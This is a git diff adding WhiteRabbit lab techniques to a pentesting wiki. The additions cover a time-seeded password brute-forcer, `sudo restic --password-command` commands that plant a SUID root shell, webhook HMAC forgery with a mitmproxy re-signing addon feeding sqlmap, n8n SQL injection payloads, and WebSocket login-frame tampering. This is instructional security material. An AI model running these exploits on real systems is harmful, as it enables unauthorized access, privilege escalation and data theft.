diff --git a/src/crypto-and-stego/crypto-ctfs-tricks.md b/src/crypto-and-stego/crypto-ctfs-tricks.md index bbb542c6eff..7eeb884744f 100644 --- a/src/crypto-and-stego/crypto-ctfs-tricks.md +++ b/src/crypto-and-stego/crypto-ctfs-tricks.md @@ -292,12 +292,52 @@ A secret is splitted in X parts and to recover it you need Y parts (_Y <=X_). - [https://github.com/glv2/bruteforce-salted-openssl](https://github.com/glv2/bruteforce-salted-openssl) - [https://github.com/carlospolop/easy_BFopensslCTF](https://github.com/carlospolop/easy_BFopensslCTF) +## Predictable PRNG password generators + +If you recover the timestamp of a password rotation (from syslog, a `command_log` table, etc.) and the binary seeds `srand()` with that time, you can recreate every password it could emit: + +- Binaries compiled with `gettimeofday()` often set `seed = tv_sec * 1000 + (tv_usec / 1000)` and then pick characters from a fixed alphabet via `rand() % 62`. With only millisecond precision there are just 1,000 candidates per second. +- Use `ctypes` to call glibc’s `srand`/`rand` so you get identical output to the target binary. +- Generate the 1,000 candidates for the recorded second and try them offline (e.g., `ssh`, `su`, `hydra`). On HTB WhiteRabbit this immediately recovered `neo`’s password because the rotation time was logged as `2024-08-30 14:40:42`. + +
+Python helper to brute-force seeds for a given timestamp + +```python +#!/usr/bin/env python3 +import ctypes +from datetime import datetime +import sys + +CHARSET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789" +libc = ctypes.CDLL("libc.so.6") + +if len(sys.argv) != 2: + print(f"Usage: {sys.argv[0]} 'YYYY-MM-DD HH:MM:SS'") + sys.exit(1) + +base = int(datetime.strptime(sys.argv[1], "%Y-%m-%d %H:%M:%S").timestamp()) +for ms in range(1000): + seed = base * 1000 + ms + libc.srand(seed) + pw = ''.join(CHARSET[libc.rand() % len(CHARSET)] for _ in range(20)) + print(pw) +``` + +
+ +Pipe the output into your favorite brute-force tool or test each candidate manually until one succeeds. + ## Tools - [https://github.com/Ganapati/RsaCtfTool](https://github.com/Ganapati/RsaCtfTool) - [https://github.com/lockedbyte/cryptovenom](https://github.com/lockedbyte/cryptovenom) - [https://github.com/nccgroup/featherduster](https://github.com/nccgroup/featherduster) +## References + +- [0xdf – HTB WhiteRabbit (time-seeded password cracking)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html) + {{#include ../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/README.md index 50ef32f3498..a53ddff7a28 100644 --- a/src/linux-hardening/privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/README.md @@ -939,6 +939,28 @@ In this example the user `demo` can run `vim` as `root`, it is now trivial to ge sudo vim -c '!sh' ``` +#### restic backups & --password-command abuse + +Backup automation routinely leaks everything you need for lateral movement: + +- **Harvest repository secrets from logs**: application tables such as `command_log`, `.bash_history`, or orchestrator audit trails often contain lines like `restic init --repo rest:http://75951e6ff.whiterabbit.htb` followed by `echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd`. Export both values and interact with the repository from your box: + +```bash +RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw \ + restic -r rest:http://75951e6ff.whiterabbit.htb snapshots +RESTIC_PASSWORD=... restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./loot +``` + +- **Crack encrypted loot inside the snapshot**: operators frequently stash SSH keys in passworded 7z archives. Convert them with `7z2john` and recover the password with hashcat mode `11600`, then extract the keys and drop the provided `config` to pivot into hidden SSH daemons (e.g., port 2222 inside a container). + +- **Exploit `sudo restic`**: restic’s `--password-command` runs a helper binary to fetch the repo password. If `sudo -l` grants `NOPASSWD: /usr/bin/restic`, that helper executes as root even when the main command fails, so you can plant a SUID shell: + +```bash +sudo restic check --password-command 'cp /bin/bash /tmp/rootbash' +sudo restic check --password-command 'chmod 6777 /tmp/rootbash' +/tmp/rootbash -p +``` + ### SETENV This directive allows the user to **set an environment variable** while executing something: @@ -1818,6 +1840,7 @@ vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md - [0xdf – HTB Eureka (bash arithmetic injection via logs, overall chain)](https://0xdf.gitlab.io/2025/08/30/htb-eureka.html) - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → root)](https://0xdf.gitlab.io/2025/09/06/htb-environment.html) +- [0xdf – HTB WhiteRabbit (restic NOPASSWD + leaked backups)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html) - [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md index 00497a50ff2..c33179485bf 100644 --- a/src/network-services-pentesting/pentesting-web/web-api-pentesting.md +++ b/src/network-services-pentesting/pentesting-web/web-api-pentesting.md @@ -75,6 +75,65 @@ Impact to assess - Data corruption via non-idempotent restarts: Forcing concurrent runs of migrations/workers can create race conditions and inconsistent partial states (silent data loss, broken analytics). - DoS via worker/DB starvation: Repeatedly triggering heavy jobs can exhaust worker pools and database connections, causing tenant-wide outages. +### Replaying leaked webhook HMACs + +Exported low-code workflows (e.g., n8n JSON) often include the exact Crypto node used to verify signed webhooks: the secret, the hashing algorithm, and even the expression used to canonicalize the body (commonly `JSON.stringify($json.body)`). Once that documentation leaks, you can faithfully reproduce the signature and send arbitrary events into the automation pipeline: + +1. Minify the JSON body the same way the workflow does so the byte-for-byte representation matches. In Python: `json.dumps(obj, separators=(',', ':')).encode()`. +2. Rebuild the HMAC with the leaked secret and hashing algorithm. +3. Overwrite the signature header enforced by the API gateway (e.g., `x-gophish-signature: sha256=`), then send the forged body to the webhook UUID. + +```python +import json, hmac, hashlib + +secret = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS" +payload = {"campaign_id": 2, "email": "attacker@corp", "message": "Clicked Link"} +body = json.dumps(payload, separators=(',', ':')).encode() +sig = hmac.new(secret, body, hashlib.sha256).hexdigest() +headers = {"Content-Type": "application/json", "x-gophish-signature": f"sha256={sig}"} +``` + +Whitespaces do not matter because `JSON.stringify` strips them; any change to the semantic content, however, requires recomputing the HMAC. Once the webhook accepts attacker-controlled JSON, every downstream node (databases, ticketing tools, mailers, etc.) becomes reachable even though the original API seemed “signed”. + +### Proxy-based HMAC regeneration for automated testing + +Automated scanners mutate payloads, so a static signature immediately becomes invalid. Drop a transparent proxy in front of your tooling that recomputes the HMAC before each request, allowing `sqlmap`, Intruder, or custom fuzzers to exercise the backend normally. + +
+mitmproxy addon that re-signs JSON bodies + +```python +#!/usr/bin/env python3 +import hmac, hashlib, json +from mitmproxy import http + +SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS" + +def request(flow: http.HTTPFlow) -> None: + if not flow.request.content: + return + try: + data = json.loads(flow.request.content) + body = json.dumps(data, separators=(',', ':')).encode() + except json.JSONDecodeError: + body = flow.request.content + signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest() + flow.request.headers["x-gophish-signature"] = f"sha256={signature}" +``` + +
+ +Usage: + +```bash +mitmproxy -s signature_proxy.py -p 8888 --mode regular +sqlmap -u "http://target/webhook/" --proxy=http://127.0.0.1:8888 \ + --method POST --data '{"campaign_id":1,"email":"test","message":"Clicked"}' \ + --headers "Content-Type: application/json" -p email --dbms mysql --batch +``` + +Every time `sqlmap` mutates the JSON (e.g., injecting `"foo";SELECT SLEEP(5)#`), the proxy transparently recalculates the signature, keeping the request valid while you enumerate boolean-, error-, time-based, or stacked-query primitives behind the HMAC gate. + ### **Tools and Resources for API Pentesting** - [**kiterunner**](https://github.com/assetnote/kiterunner): Excellent for discovering API endpoints. Use it to scan and brute force paths and parameters against target APIs. @@ -101,5 +160,6 @@ kr brute https://domain.com/api/ -w /tmp/lang-english.txt -x 20 -d=0 - [https://github.com/Cyber-Guy1/API-SecurityEmpire](https://github.com/Cyber-Guy1/API-SecurityEmpire) - [How An Authorization Flaw Reveals A Common Security Blind Spot: CVE-2025-59305 Case Study](https://www.depthfirst.com/post/how-an-authorization-flaw-reveals-a-common-security-blind-spot-cve-2025-59305-case-study) +- [0xdf – HTB WhiteRabbit (leaked webhook HMAC → SQLi)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 53ba19bf313..e65d5ff4e6b 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -601,6 +601,33 @@ Basically you can use the scientific notation in unexpected ways for the WAF to ' or 1.e('')= ``` +### Low-code workflow SQLi (n8n signed webhooks) + +Automation suites such as **n8n** frequently build SQL queries by interpolating JSON fields straight into a template string: + +```json +{ + "type": "n8n-nodes-base.mySql", + "parameters": { + "operation": "executeQuery", + "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1", + "options": {} + }, + "onError": "continueErrorOutput" +} +``` + +If you can reach the webhook that feeds this workflow (even when it's “signed”), you can inject payloads like `"test";SELECT SLEEP(5)#` because the expression is dropped into double quotes with no escaping. Many pipelines also route the error branch into a debugging `respondToWebhook` node such as `{{$json.message}} | {{JSON.stringify($json.error)}}`, which reflects raw MariaDB error strings or timing differences straight into the HTTP response. + +Practical exploitation looks like this: + +1. Forge the webhook signature if required (see the API pentesting chapter for rebuilding HMAC headers from leaked workflow exports). +2. Send malformed values to force an error and confirm that the SQL text echoing back contains your payload. +3. Switch to boolean/time/stacked payloads (`"foo" and sleep(5)#`, `"foo" rlike (select ...)`) and observe either the debug text or the response time. +4. Once confirmed, point `sqlmap` at the webhook through a signing proxy so every mutated JSON body is re-signed, giving you fully automated dumping of schemas such as `information_schema`, `phishing`, `temp`, etc. + +Because every decision node trusts `$json.body.*` and `onError` is set to `continueErrorOutput`, even “internal only” workflows become remote SQLi primitives the moment their webhook UUID or documentation leaks. + ### Bypass Column Names Restriction First of all, notice that if the **original query and the table where you want to extract the flag from have the same amount of columns** you might just do: `0 UNION SELECT * FROM flag` @@ -674,5 +701,6 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt ## References - [https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) +- [0xdf – HTB WhiteRabbit (n8n webhook SQLi chain)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/websocket-attacks.md b/src/pentesting-web/websocket-attacks.md index 724d606923b..e24cd17242d 100644 --- a/src/pentesting-web/websocket-attacks.md +++ b/src/pentesting-web/websocket-attacks.md @@ -86,6 +86,25 @@ You can use the **tool** [**https://github.com/PalindromeLabs/STEWS**](https://g - [**https://websocketking.com/**](https://websocketking.com/) it's a **web to communicate** with other webs using **websockets**. - [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) among other types of communications/protocols, it provides a **web to communicate** with other webs using **websockets.** +### Tampering server responses for UI-only auth bypass + +When a Socket.IO login flow relies on a single boolean in the server-to-client frame (for example `{"type":"login","ok":false}`), you can sometimes trick the SPA into enabling privileged views without ever authenticating to the backend: + +1. Send junk credentials so the application emits the `login` event and enable Burp's WebSocket interception. +2. When the response frame arrives, edit the fields the frontend trusts before forwarding it, e.g. flip `ok:false` to `ok:true` or drop the `error` payload: + +```json +{"type":"login","ok":false,"msg":"Invalid login"} +``` + +→ + +```json +{"type":"login","ok":true,"msg":"OK"} +``` + +3. Keep interception enabled (or drop subsequent frames) so the socket stays frozen. The client assumes the login succeeded and renders cached components (like **Settings → About** in Uptime Kuma) even though no valid session exists on the server. Anything that requires a fresh backend response will fail once you release the connection, so treat this as a short-lived recon trick to leak version banners, internal hostnames, etc. + ## Decrypting Websocket - [https://github.com/Anof-cyber/PyCript](https://github.com/Anof-cyber/PyCript) @@ -341,5 +360,6 @@ h2c-smuggling.md - [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC) - [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py) - [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py) +- [0xdf – HTB WhiteRabbit (WebSocket auth bypass + recon)](https://0xdf.gitlab.io/2025/12/13/htb-whiterabbit.html) {{#include ../banners/hacktricks-training.md}}